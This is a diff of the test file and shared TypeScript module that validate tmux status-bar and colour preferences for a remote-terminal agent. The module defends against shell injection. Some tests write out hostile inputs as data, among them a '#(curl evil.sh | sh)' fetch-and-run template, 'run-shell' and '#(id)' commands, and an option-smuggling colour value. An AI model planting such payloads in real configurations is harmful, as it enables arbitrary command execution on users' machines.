it('falls back rather than passing an unknown enum through to tmux', () => {
|
|
36
|
+
expect(resolveTmuxPrefs({ tmux: { mouse: 'sideways' } }).mouse).toBe('native-select');
|
|
37
|
+
expect(resolveTmuxPrefs({ tmux: { attachMode: 'telepathy' } }).attachMode).toBe('auto');
|
|
38
|
+
expect(resolveTmuxPrefs({ tmux: { status: { position: 'sideways' } } }).status.position)
|
|
39
|
+
.toBe('bottom');
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
it('rejects a non-integer, negative or absurd history limit', () => {
|
|
43
|
+
for (const bad of ['lots', -1, 0, 1.5, 10_000_000, null]) {
|
|
44
|
+
expect(resolveTmuxPrefs({ tmux: { historyLimit: bad } }).historyLimit)
|
|
45
|
+
.toBe(DEFAULT_TMUX_PREFS.historyLimit);
|
|
46
|
+
}
|
|
47
|
+
expect(resolveTmuxPrefs({ tmux: { historyLimit: 5000 } }).historyLimit).toBe(5000);
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
// The one that matters once a browser can send this: a template carrying
|
|
51
|
+
// command substitution must never be stored.
|
|
52
|
+
it('rejects a status template containing command substitution', () => {
|
|
53
|
+
const prefs = resolveTmuxPrefs({ tmux: { status: { left: '#(curl evil.sh | sh)' } } });
|
|
54
|
+
expect(prefs.status.left).toBe(DEFAULT_TMUX_PREFS.status.left);
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
it('rejects a status template containing run-shell', () => {
|
|
58
|
+
const prefs = resolveTmuxPrefs({ tmux: { status: { right: 'x run-shell "id"' } } });
|
|
59
|
+
expect(prefs.status.right).toBe(DEFAULT_TMUX_PREFS.status.right);
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
it('rejects an over-long status template', () => {
|
|
63
|
+
const long = 'a'.repeat(MAX_STATUS_TEMPLATE + 1);
|
|
64
|
+
expect(resolveTmuxPrefs({ tmux: { status: { left: long } } }).status.left)
|
|
65
|
+
.toBe(DEFAULT_TMUX_PREFS.status.left);
|
|
66
|
+
});
|
|
67
|
+
|
|
68
|
+
it('rejects a colour that is not a colour', () => {
|
|
69
|
+
for (const bad of ['red,fg=black', 'green"', '#zzzzzz', 'rgb(1,2,3)', '']) {
|
|
70
|
+
expect(resolveTmuxPrefs({ tmux: { status: { bg: bad } } }).status.bg)
|
|
71
|
+
.toBe(DEFAULT_TMUX_PREFS.status.bg);
|
|
72
|
+
}
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
it('accepts the colour forms tmux understands', () => {
|
|
76
|
+
for (const good of ['green', 'colour238', 'color12', '#1a56db']) {
|
|
77
|
+
expect(resolveTmuxPrefs({ tmux: { status: { bg: good } } }).status.bg).toBe(good);
|
|
78
|
+
}
|
|
79
|
+
});
|
|
80
|
+
});
|
|
81
|
+
|
|
82
|
+
describe('compileStatusTemplate', () => {
|
|
83
|
+
it('compiles every advertised token to something else', () => {
|
|
84
|
+
for (const token of STATUS_TOKENS) {
|
|
85
|
+
expect(compileStatusTemplate(`[${token}]`)).not.toBe(`[${token}]`);
|
|
86
|
+
}
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
it('leaves an unknown token verbatim rather than dropping it', () => {
|
|
90
|
+
expect(compileStatusTemplate('[nonsense]')).toBe('[nonsense]');
|
|
91
|
+
});
|
|
92
|
+
|
|
93
|
+
it('escapes a quote so it cannot end the emitted tmux string', () => {
|
|
94
|
+
expect(compileStatusTemplate('say "hi"')).not.toMatch(/(?<!\\)"/);
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
it('throws on command substitution and run-shell', () => {
|
|
98
|
+
expect(() => compileStatusTemplate('#(id)')).toThrow(/not allowed/i);
|
|
99
|
+
expect(() => compileStatusTemplate('run-shell id')).toThrow(/not allowed/i);
|
|
100
|
+
});
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
describe('validators', () => {
|
|
104
|
+
it('isValidStatusTemplate mirrors compileStatusTemplate', () => {
|
|
105
|
+
expect(isValidStatusTemplate('[folder]')).toBe(true);
|
|
106
|
+
expect(isValidStatusTemplate('#(id)')).toBe(false);
|
|
107
|
+
});
|
|
108
|
+
|
|
109
|
+
it('isValidTmuxColor rejects anything that could inject a second option', () => {
|
|
110
|
+
expect(isValidTmuxColor('green')).toBe(true);
|
|
111
|
+
expect(isValidTmuxColor('green,fg=red')).toBe(false);
|
|
112
|
+
});
|
|
113
|
+
});
|
|
@@ -0,0 +1,162 @@
|
|
|
1
|
+
// tmux preferences: the shape, the defaults, and the validation.
|
|
2
|
+
//
|
|
3
|
+
// Shared because THREE places need the same answer and any drift between them
|
|
4
|
+
// is a bug: the agent renders these into ~/.dialout/tmux.conf, the settings API
|
|
5
|
+
// validates what a browser sends before storing it, and the settings UI shows
|
|
6
|
+
// the same choices. The agent's own option list already existed twice once and
|
|
7
|
+
// silently drifted; this is the same mistake one layer up, so it is prevented
|
|
8
|
+
// rather than watched for.
|
|
9
|
+
//
|
|
10
|
+
// Rendering itself stays in the agent — only it produces a tmux file.
|
|
11
|
+
|
|
12
|
+
export interface TmuxStatusPrefs {
|
|
13
|
+
enabled: boolean;
|
|
14
|
+
position: 'top' | 'bottom';
|
|
15
|
+
bg: string;
|
|
16
|
+
fg: string;
|
|
17
|
+
left: string;
|
|
18
|
+
right: string;
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
export interface TmuxPrefs {
|
|
22
|
+
/**
|
|
23
|
+
* 'native-select' turns mouse reporting OFF, so the terminal emulator keeps
|
|
24
|
+
* its own drag-select, Cmd+C and Cmd+V. The cost is that the wheel no longer
|
|
25
|
+
* scrolls tmux history (prefix + [ does). 'tmux' is the pre-2026-09 behaviour.
|
|
26
|
+
*
|
|
27
|
+
* Browser sessions override this back to `on` per session, because a browser
|
|
28
|
+
* tab has no native selection of a remote pane to fall back on.
|
|
29
|
+
*/
|
|
30
|
+
mouse: 'native-select' | 'tmux';
|
|
31
|
+
/** How the cowork rc block execs tmux. 'auto' resolves to 'normal' for now. */
|
|
32
|
+
attachMode: 'auto' | 'control' | 'normal';
|
|
33
|
+
historyLimit: number;
|
|
34
|
+
status: TmuxStatusPrefs;
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
// Status template tokens, compiled to tmux formats so nobody has to learn tmux
|
|
38
|
+
// format syntax to restyle the bar.
|
|
39
|
+
const TOKEN_FORMATS: Record<string, string> = {
|
|
40
|
+
// #{b:...} is tmux's own basename modifier, so the folder tracks a cd.
|
|
41
|
+
folder: '#{b:pane_current_path}',
|
|
42
|
+
path: '#{pane_current_path}',
|
|
43
|
+
session: '#{session_name}',
|
|
44
|
+
window: '#{window_name}',
|
|
45
|
+
title: '#{=21:pane_title}',
|
|
46
|
+
time: '%H:%M',
|
|
47
|
+
date: '%d-%b-%y',
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
export const STATUS_TOKENS = Object.keys(TOKEN_FORMATS);
|
|
51
|
+
|
|
52
|
+
export const DEFAULT_TMUX_PREFS: TmuxPrefs = {
|
|
53
|
+
mouse: 'native-select',
|
|
54
|
+
attachMode: 'auto',
|
|
55
|
+
historyLimit: 100000,
|
|
56
|
+
status: {
|
|
57
|
+
enabled: true,
|
|
58
|
+
position: 'bottom',
|
|
59
|
+
// tmux's own default is bg=green,fg=black. Kept so an upgrade does not
|
|
60
|
+
// silently restyle a bar the user never asked to change.
|
|
61
|
+
bg: 'green',
|
|
62
|
+
fg: 'black',
|
|
63
|
+
left: '[[session]] ',
|
|
64
|
+
right: '[title] [time] [date]',
|
|
65
|
+
},
|
|
66
|
+
};
|
|
67
|
+
|
|
68
|
+
/**
|
|
69
|
+
* Compile a status template to a tmux format string.
|
|
70
|
+
*
|
|
71
|
+
* A tmux config can execute shell — `#(...)` is command substitution and
|
|
72
|
+
* `run-shell` runs a command outright — so this is an injection surface with
|
|
73
|
+
* exactly the shape TOKEN_RE defends in the agent's cowork.ts. Once these
|
|
74
|
+
* templates arrive over the network from a browser, it is the only thing
|
|
75
|
+
* between a settings form and arbitrary command execution on a developer's
|
|
76
|
+
* machine.
|
|
77
|
+
*
|
|
78
|
+
* Rejecting rather than escaping is deliberate for those two: no legitimate
|
|
79
|
+
* status bar needs either, and an escape that is one tmux release out of date
|
|
80
|
+
* fails open. The quote is escaped rather than rejected because a user may
|
|
81
|
+
* reasonably want one.
|
|
82
|
+
*/
|
|
83
|
+
export function compileStatusTemplate(template: string): string {
|
|
84
|
+
const text = String(template);
|
|
85
|
+
if (text.includes('#(')) {
|
|
86
|
+
throw new Error('command substitution "#(" is not allowed in a status template');
|
|
87
|
+
}
|
|
88
|
+
if (/run-shell/i.test(text)) {
|
|
89
|
+
throw new Error('"run-shell" is not allowed in a status template');
|
|
90
|
+
}
|
|
91
|
+
// Escape backslash first, then the quote, or the escapes escape each other.
|
|
92
|
+
const escaped = text.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
|
|
93
|
+
// An unknown [token] is left verbatim: silently dropping it would make a typo
|
|
94
|
+
// look like the setting had no effect.
|
|
95
|
+
return escaped.replace(/\[([a-z]+)\]/g, (whole, name) => TOKEN_FORMATS[name] ?? whole);
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
/** True when a status template is safe to store and render. */
|
|
99
|
+
export function isValidStatusTemplate(template: string): boolean {
|
|
100
|
+
try {
|
|
101
|
+
compileStatusTemplate(template);
|
|
102
|
+
return true;
|
|
103
|
+
} catch {
|
|
104
|
+
return false;
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
// tmux colours: a named colour, colourN, or #rrggbb. Anything else would be
|
|
109
|
+
// interpolated straight into `status-style`, where a stray comma or quote is a
|
|
110
|
+
// second option rather than a colour.
|
|
111
|
+
const COLOR_RE = /^(#[0-9a-fA-F]{6}|colou?r\d{1,3}|[a-z]{3,12})$/;
|
|
112
|
+
|
|
113
|
+
export function isValidTmuxColor(value: string): boolean {
|
|
114
|
+
return COLOR_RE.test(String(value || ''));
|
|
115
|
+
}
|
|
116
|
+
|
|
117
|
+
/** Longest status template we will store. Long enough for a real bar, short
|
|
118
|
+
* enough that nobody pastes a script into it. */
|
|
119
|
+
export const MAX_STATUS_TEMPLATE = 200;
|
|
120
|
+
|
|
121
|
+
/**
|
|
122
|
+
* Merge stored prefs over the defaults, validating as we go.
|
|
123
|
+
*
|
|
124
|
+
* Deliberately not a spread. `status` is nested, so `{...DEFAULT, ...stored}`
|
|
125
|
+
* would replace the whole status object and wipe every key the caller did not
|
|
126
|
+
* name. And an invalid value must fall back rather than reach tmux: a bad
|
|
127
|
+
* `mouse` string would render `set-option -g mouse sideways`, which tmux
|
|
128
|
+
* rejects — costing that line silently, since source-file warns and continues
|
|
129
|
+
* rather than aborting.
|
|
130
|
+
*
|
|
131
|
+
* Total: any input shape is accepted and a complete, valid TmuxPrefs comes out.
|
|
132
|
+
* That is what lets the same function guard a config file on disk and a JSON
|
|
133
|
+
* body from a browser.
|
|
134
|
+
*/
|
|
135
|
+
export function resolveTmuxPrefs(input: { tmux?: unknown } | null | undefined = {}): TmuxPrefs {
|
|
136
|
+
const stored = (input && typeof input === 'object' ? (input as any).tmux : null) || {};
|
|
137
|
+
const status = (stored && typeof stored === 'object' ? stored.status : null) || {};
|
|
138
|
+
const oneOf = <T extends string>(value: unknown, allowed: readonly T[], fallback: T): T =>
|
|
139
|
+
((allowed as readonly unknown[]).includes(value) ? value as T : fallback);
|
|
140
|
+
const text = (value: unknown, fallback: string, valid: (v: string) => boolean): string =>
|
|
141
|
+
(typeof value === 'string' && value.length <= MAX_STATUS_TEMPLATE && valid(value)
|
|
142
|
+
? value
|
|
143
|
+
: fallback);
|
|
144
|
+
|
|
145
|
+
return {
|
|
146
|
+
mouse: oneOf(stored.mouse, ['native-select', 'tmux'] as const, DEFAULT_TMUX_PREFS.mouse),
|
|
147
|
+
attachMode: oneOf(stored.attachMode, ['auto', 'control', 'normal'] as const,
|
|
148
|
+
DEFAULT_TMUX_PREFS.attachMode),
|
|
149
|
+
historyLimit: Number.isInteger(stored.historyLimit)
|
|
150
|
+
&& stored.historyLimit > 0 && stored.historyLimit <= 1_000_000
|
|
151
|
+
? stored.historyLimit
|
|
152
|
+
: DEFAULT_TMUX_PREFS.historyLimit,
|
|
153
|
+
status: {
|
|
154
|
+
enabled: typeof status.enabled === 'boolean' ? status.enabled : DEFAULT_TMUX_PREFS.status.enabled,
|
|
155
|
+
position: oneOf(status.position, ['top', 'bottom'] as const, DEFAULT_TMUX_PREFS.status.position),
|
|
156
|
+
bg: text(status.bg, DEFAULT_TMUX_PREFS.status.bg, isValidTmuxColor),
|
|
157
|
+
fg: text(status.fg, DEFAULT_TMUX_PREFS.status.fg, isValidTmuxColor),
|
|
158
|
+
left: text(status.left, DEFAULT_TMUX_PREFS.status.left, isValidStatusTemplate),
|
|
159
|
+
right: text(status.right, DEFAULT_TMUX_PREFS.status.right, isValidStatusTemplate),
|
|
160
|
+
},
|
|
161
|
+
};
|
|
162
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@indianic/dialout",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.4.0",
|
|
4
4
|
"description": "Dialout agent — reach your office, home or build machine from any browser or phone. Remote tmux terminals, live port checks, filesystem browsing, process control and HTTP tunnels. The agent dials out: no inbound ports, no VPN, no port forwarding.",
|
|
5
5
|
"bin": {
|
|
6
6
|
"dialout": "./bin/devdash-agent.js"
|